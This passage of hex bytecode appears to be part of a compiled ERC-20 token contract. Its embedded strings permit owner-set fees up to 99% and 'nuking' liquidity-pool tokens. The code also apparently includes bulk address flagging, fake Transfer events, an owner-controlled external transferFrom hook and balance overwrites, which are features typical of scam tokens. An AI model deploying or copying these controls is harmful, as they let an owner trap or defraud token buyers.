405180910390f35b348015610fb1575f80fd5b50610fba6122c6565b604051610fc791906141e5565b60405180910390f35b348015610fdb575f80fd5b50610ff66004803603810190610ff191906141fe565b6122cc565b604051611003919061411e565b60405180910390f35b60606006805461101b9061458e565b80601f01602080910402602001604051908101604052809291908181526020018280546110479061458e565b80156110925780601f1061106957610100808354040283529160200191611092565b820191905f5260205f20905b81548152906001019060200180831161107557829003601f168201915b5050505050905090565b5f6110af6110a861250a565b8484612511565b6001905092915050565b6016602052805f5260405f205f915054906101000a900460ff1681565b6025602052805f5260405f205f915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600854905090565b6111286126d4565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112066126d4565b633b9aca006103e86001611218611117565b61122291906145eb565b61122c9190614659565b6112369190614659565b811015611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f906146f9565b60405180910390fd5b670de0b6b3a76400008161128c91906145eb565b600b8190555050565b5f6112a1848484612752565b61135e846112ad61250a565b6113598560405180606001604052806028815260200161572c6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61131061250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b612511565b600190509392505050565b6113716126d4565b5f5b8383905081101561143e5783838281811061139157611390614717565b5b90506020020160208101906113a69190614137565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161142391906141e5565b60405180910390a3808061143690614744565b915050611373565b50505050565b61dead81565b60135481565b60125f9054906101000a900460ff1681565b5f6009905090565b60155f9054906101000a900460ff1681565b5f61152061148861250a565b8461151b8560035f61149861250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a290919063ffffffff16565b612511565b6001905092915050565b6115326126d4565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60245f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116536126d4565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6117156126d4565b61025883101561175a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611751906147fb565b60405180910390fd5b6103e8821115801561176c57505f8210155b6117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290614889565b60405180910390fd5b82601381905550816011819055508060125f6101000a81548160ff021916908315150217905550505050565b5f6117e06126d4565b5f60155f6101000a81548160ff0219169083151502179055506001905090565b6118086126d4565b8060255f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118936126d4565b826018819055508160198190555080601a81905550601a546019546018546118bb91906148a7565b6118c591906148a7565b60178190555060196017541115611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890614924565b60405180910390fd5b505050565b61191e6126d4565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119b76126d4565b80601560026101000a81548160ff02191690831515021790555050565b6060600780546119e39061458e565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0f9061458e565b8015611a5a5780601f10611a3157610100808354040283529160200191611a5a565b820191905f5260205f20905b815481529060010190602001808311611a3d57829003601f168201915b5050505050905090565b601a5481565b611a726126d4565b611a7c82826132ff565b5050565b60105481565b60215481565b601e5481565b5f611b50611a9e61250a565b84611b4b856040518060600160405280602581526020016157546025913960035f611ac761250a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b612511565b6001905092915050565b60145481565b5f611b73611b6c61250a565b8484612752565b6001905092915050565b611b856126d4565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560019054906101000a900460ff1681565b611c5e6126d4565b8060245f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611cf8919061411e565b60405180910390a25050565b611d0c6126d4565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611d3491906148a7565b611d3e91906148a7565b601b819055506063601b541115611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d819061498c565b60405180910390fd5b505050565b611d976126d4565b633b9aca006103e86005611da9611117565b611db391906145eb565b611dbd9190614659565b611dc79190614659565b811015611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0090614a1a565b60405180910390fd5b633b9aca0081611e1991906145eb565b600a8190555050565b611e2a6126d4565b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e9660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611800565b50565b6026602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60235f9054906101000a900460ff1681565b600b5481565b5f611eea6126d4565b620186a06001611ef8611117565b611f0291906145eb565b611f0c9190614659565b821015611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4590614aa8565b60405180910390fd5b6103e8600a611f5b611117565b611f6591906145eb565b611f6f9190614659565b821115611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa890614b36565b60405180910390fd5b81600c8190555060019050919050565b60175481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6120a36126d4565b5f5b8383905081101561213e578160165f8686858181106120c7576120c6614717565b5b90506020020160208101906120dc9190614137565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808061213690614744565b9150506120a5565b50505050565b600c5481565b5f6121536126d4565b5f60235f6101000a81548160ff0219169083151502179055506001905090565b60195481565b6121816126d4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e690614bc4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6122b26126d4565b6122bc82826134c2565b5050565b601d5481565b600a5481565b5f6122d56126d4565b600f546010546122e591906148a7565b4211612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d90614c2c565b60405180910390fd5b6103e882111561236b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236290614cba565b60405180910390fd5b426010819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a0823160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016123cd9190614346565b602060405180830381865afa1580156123e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061240c9190614cec565b90505f612436612710612428868561356190919063ffffffff16565b6135d890919063ffffffff16565b90505f81111561246f5761246e60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613621565b5b5f60265f8681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156124e8575f80fd5b505af11580156124fa573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361257f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257690614d87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e490614e15565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126c791906141e5565b60405180910390a3505050565b6126dc61250a565b73ffffffffffffffffffffffffffffffffffffffff166126fa6138ae565b73ffffffffffffffffffffffffffffffffffffffff1614612750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274790614e7d565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b790614f0b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361282e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282590614f99565b60405180910390fd5b5f81036128455761284083835f613621565b61323b565b60155f9054906101000a900460ff1615612e455761286161195d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156128cf575061289f61195d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561290757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612941575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561295a5750600960149054906101000a900460ff16155b15612e4457601560019054906101000a900460ff16612a4e5760245f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612a0e575060245f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4490615001565b60405180910390fd5b5b60235f9054906101000a900460ff1615612c1257612a6a61195d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612af157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b4a575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612c11574360225f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc5906150b5565b60405180910390fd5b4360225f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d0257600b54811115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c90615143565b60405180910390fd5b600a54612cb183611605565b82612cbc91906148a7565b1115612cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf4906151ab565b60405180910390fd5b612e43565b60255f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d9a57600b54811115612d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8c90615239565b60405180910390fd5b612e42565b60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612e4157600a54612df483611605565b82612dff91906148a7565b1115612e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e37906151ab565b60405180910390fd5b5b5b5b5b5b5f612e4f30611605565b90505f600c548210159050808015612e735750601560029054906101000a900460ff165b8015612e8c5750600960149054906101000a900460ff16155b8015612edf575060245f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612f32575060245f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612f75576001600960146101000a81548160ff021916908315150217905550612f5a6138c1565b5f600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff16158015612f9d575060125f9054906101000a900460ff165b15612fae57612fac8585613a3a565b505b5f600960149054906101000a900460ff1615905060245f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061305d575060245f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15613066575f90505b5f811561322b575f601b54111561313c5761309f6064613091601b548861356190919063ffffffff16565b6135d890919063ffffffff16565b9050601b54601d54826130b291906145eb565b6130bc9190614659565b60205f8282546130cc91906148a7565b92505081905550601b54601e54826130e491906145eb565b6130ee9190614659565b60215f8282546130fe91906148a7565b92505081905550601b54601c548261311691906145eb565b6131209190614659565b601f5f82825461313091906148a7565b92505081905550613208565b5f60175411156132075761316e60646131606017548861356190919063ffffffff16565b6135d890919063ffffffff16565b90506017546019548261318191906145eb565b61318b9190614659565b60205f82825461319b91906148a7565b92505081905550601754601a54826131b391906145eb565b6131bd9190614659565b60215f8282546131cd91906148a7565b92505081905550601754601854826131e591906145eb565b6131ef9190614659565b601f5f8282546131ff91906148a7565b925050819055505b5b5f81111561321c5761321b873083613621565b5b80856132289190615257565b94505b613236878787613621565b505050505b505050565b5f838311158290613287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327e9190614011565b60405180910390fd5b505f83856132959190615257565b9050809150509392505050565b5f8082846132b091906148a7565b9050838110156132f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132ec906152d4565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361336d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336490615362565b60405180910390fd5b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156133f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133e8906153f0565b60405180910390fd5b816004546133ff9190615257565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160085f8282546134519190615257565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516134b591906141e5565b60405180910390a3505050565b6134ca6126d4565b8160265f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff167fe31d4764d1f943278fdfdcb88b7ba1ab2d33b62ac47858513d290085cc434e7760405160405180910390a35050565b5f808303613571575f90506135d2565b5f828461357e91906145eb565b905082848261358d9190614659565b146135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c49061547e565b60405180910390fd5b809150505b92915050565b5f61361983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c05565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361368f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161368690614f0b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136f490614f99565b60405180910390fd5b613708838383613c66565b613772816040518060600160405280602681526020016157066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506138038160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a290919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138a191906141e5565b60405180910390a3505050565b5f806138b8613c6b565b90508091505090565b5f6138cb30611605565b90505f602154601f546020546138e191906148a7565b6138eb91906148a7565b90505f808314806138fb57505f82145b1561390857505050613a38565b6014600c5461391791906145eb565b831115613930576014600c5461392d91906145eb565b92505b5f6002836020548661394291906145eb565b61394c9190614659565b6139569190614659565b90505f61396c8286613d0b90919063ffffffff16565b90505f47905061397b82613d54565b5f61398f8247613d0b90919063ffffffff16565b90505f6020819055505f601f819055505f602181905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516139eb906154c9565b5f6040518083038185875af1925050503d805f8114613a25576040519150601f19603f3d011682016040523d82523d5f602084013e613a2a565b606091505b505080955050505050505050505b565b5f803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a759190614346565b602060405180830381865afa158015613a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613ab49190614cec565b90505f613ae0612710613ad2601e548561356190919063ffffffff16565b6135d890919063ffffffff16565b90505f73ffffffffffffffffffffffffffffffffffffffff1660265f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613bf9575f60265f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8787856040518463ffffffff1660e01b8152600401613bb6939291906154dd565b6020604051808303815f875af1158015613bd2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613bf69190615526565b50505b60019250505092915050565b5f8083118290613c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c429190614011565b60405180910390fd5b505f8385613c599190614659565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ce3575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d06565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f613d4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613240565b905092915050565b5f600267ffffffffffffffff811115613d7057613d6f615551565b5b604051908082528060200260200182016040528015613d9e5781602001602082028036833780820191505090505b50905030815f81518110613db557613db4614717565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613e7c9190615592565b81600181518110613e9057613e8f614717565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ef5307f000000000000000000000000000000000000000000000000000000000000000084612511565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613f569594939291906156ad565b5f604051808303815f87803b158015613f6d575f80fd5b505af1158015613f7f573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613fbe578082015181840152602081019050613fa3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613fe382613f87565b613fed8185613f91565b9350613ffd818560208601613fa1565b61400681613fc9565b840191505092915050565b5f6020820190508181035f8301526140298184613fd9565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61406282614039565b9050919050565b61407281614058565b811461407c575f80fd5b50565b5f8135905061408d81614069565b92915050565b5f819050919050565b6140a581614093565b81146140af575f80fd5b50565b5f813590506140c08161409c565b92915050565b5f80604083850312156140dc576140db614031565b5b5f6140e98582860161407f565b92505060206140fa858286016140b2565b9150509250929050565b5f8115159050919050565b61411881614104565b82525050565b5f6020820190506141315f83018461410f565b92915050565b5f6020828403121561414c5761414b614031565b5b5f6141598482850161407f565b91505092915050565b5f819050919050565b5f61418561418061417b84614039565b614162565b614039565b9050919050565b5f6141968261416b565b9050919050565b5f6141a78261418c565b9050919050565b6141b78161419d565b82525050565b5f6020820190506141d05f8301846141ae565b92915050565b6141df81614093565b82525050565b5f6020820190506141f85f8301846141d6565b92915050565b5f6020828403121561421357614212614031565b5b5f614220848285016140b2565b91505092915050565b5f805f606084860312156142405761423f614031565b5b5f61424d8682870161407f565b935050602061425e8682870161407f565b925050604061426f868287016140b2565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261429a57614299614279565b5b8235905067ffffffffffffffff8111156142b7576142b661427d565b5b6020830191508360208202830111156142d3576142d2614281565b5b9250929050565b5f805f604084860312156142f1576142f0614031565b5b5f84013567ffffffffffffffff81111561430e5761430d614035565b5b61431a86828701614285565b9350935050602061432d868287016140b2565b9150509250925092565b61434081614058565b82525050565b5f6020820190506143595f830184614337565b92915050565b5f60ff82169050919050565b6143748161435f565b82525050565b5f60208201905061438d5f83018461436b565b92915050565b61439c81614104565b81146143a6575f80fd5b50565b5f813590506143b781614393565b92915050565b5f805f606084860312156143d4576143d3614031565b5b5f6143e1868287016140b2565b93505060206143f2868287016140b2565b9250506040614403868287016143a9565b9150509250925092565b5f806040838503121561442357614422614031565b5b5f6144308582860161407f565b9250506020614441858286016143a9565b9150509250929050565b5f805f6060848603121561446257614461614031565b5b5f61446f868287016140b2565b9350506020614480868287016140b2565b9250506040614491868287016140b2565b9150509250925092565b5f602082840312156144b0576144af614031565b5b5f6144bd848285016143a9565b91505092915050565b5f80604083850312156144dc576144db614031565b5b5f6144e98582860161407f565b92505060206144fa8582860161407f565b9150509250929050565b5f805f6040848603121561451b5761451a614031565b5b5f84013567ffffffffffffffff81111561453857614537614035565b5b61454486828701614285565b93509350506020614557868287016143a9565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806145a557607f821691505b6020821081036145b8576145b7614561565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6145f582614093565b915061460083614093565b925082820261460e81614093565b91508282048414831517614625576146246145be565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61466382614093565b915061466e83614093565b92508261467e5761467d61462c565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b5f6146e3602f83613f91565b91506146ee82614689565b604082019050919050565b5f6020820190508181035f830152614710816146d7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61474e82614093565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036147805761477f6145be565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e2074685f8201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b5f6147e5603383613f91565b91506147f08261478b565b604082019050919050565b5f6020820190508181035f830152614812816147d9565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e742062655f8201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b5f614873603083613f91565b915061487e82614819565b604082019050919050565b5f6020820190508181035f8301526148a081614867565b9050919050565b5f6148b182614093565b91506148bc83614093565b92508282019050808211156148d4576148d36145be565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c6573730000005f82015250565b5f61490e601d83613f91565b9150614919826148da565b602082019050919050565b5f6020820190508181035f83015261493b81614902565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c6573730000005f82015250565b5f614976601d83613f91565b915061498182614942565b602082019050919050565b5f6020820190508181035f8301526149a38161496a565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b5f614a04602483613f91565b9150614a0f826149aa565b604082019050919050565b5f6020820190508181035f830152614a31816149f8565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f614a92603583613f91565b9150614a9d82614a38565b604082019050919050565b5f6020820190508181035f830152614abf81614a86565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b5f614b20603283613f91565b9150614b2b82614ac6565b604082019050919050565b5f6020820190508181035f830152614b4d81614b14565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f614bae602683613f91565b9150614bb982614b54565b604082019050919050565b5f6020820190508181035f830152614bdb81614ba2565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973685f82015250565b5f614c16602083613f91565b9150614c2182614be2565b602082019050919050565b5f6020820190508181035f830152614c4381614c0a565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f5f8201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b5f614ca4602a83613f91565b9150614caf82614c4a565b604082019050919050565b5f6020820190508181035f830152614cd181614c98565b9050919050565b5f81519050614ce68161409c565b92915050565b5f60208284031215614d0157614d00614031565b5b5f614d0e84828501614cd8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f614d71602483613f91565b9150614d7c82614d17565b604082019050919050565b5f6020820190508181035f830152614d9e81614d65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f614dff602283613f91565b9150614e0a82614da5565b604082019050919050565b5f6020820190508181035f830152614e2c81614df3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614e67602083613f91565b9150614e7282614e33565b602082019050919050565b5f6020820190508181035f830152614e9481614e5b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614ef5602583613f91565b9150614f0082614e9b565b604082019050919050565b5f6020820190508181035f830152614f2281614ee9565b9050919050565